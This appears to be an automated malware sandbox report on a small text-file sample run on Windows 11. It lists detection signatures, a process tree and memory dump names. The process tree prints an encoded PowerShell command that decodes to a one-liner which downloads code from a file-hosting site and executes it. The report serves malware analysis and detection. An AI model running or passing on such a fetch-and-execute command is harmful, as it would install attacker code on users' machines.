Analysis
- user interaction
yes - max time kernel
148s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 16:42
General
- Target 11111111111111111111111111111111111111111111.txt
- Size 119B
- Sample260924-t76jjayxa1
- SHA256 63a8ba4fb46ed1dfe4299e904446acd81d1d9c552869c754dd81b8cd3478ddb5
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Suspicious clipboard content. 1 IoCs
A suspicious script was copied to clipboard.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\11111111111111111111111111111111111111111111.txt1⤵
- Suspicious clipboard content.
- Opens file in notepad (likely ransom note)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand aQByAG0AIABmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AYgBrADYAaAAzAHUAIAB8AGkAZQB4AA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5304-2-0x00007FF8A29EF000-0x00007FF8A29F0000-memory.dmp
memory/5304-3-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-7-0x000002757FEB0000-0x000002757FED2000-memory.dmp
memory/5304-6-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-8-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-10-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-9-0x000002757FF60000-0x000002757FFA8000-memory.dmp
memory/5304-11-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-12-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-14-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-13-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-19-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-21-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp
memory/5304-22-0x00007FF8A2860000-0x00007FF8A3204000-memory.dmp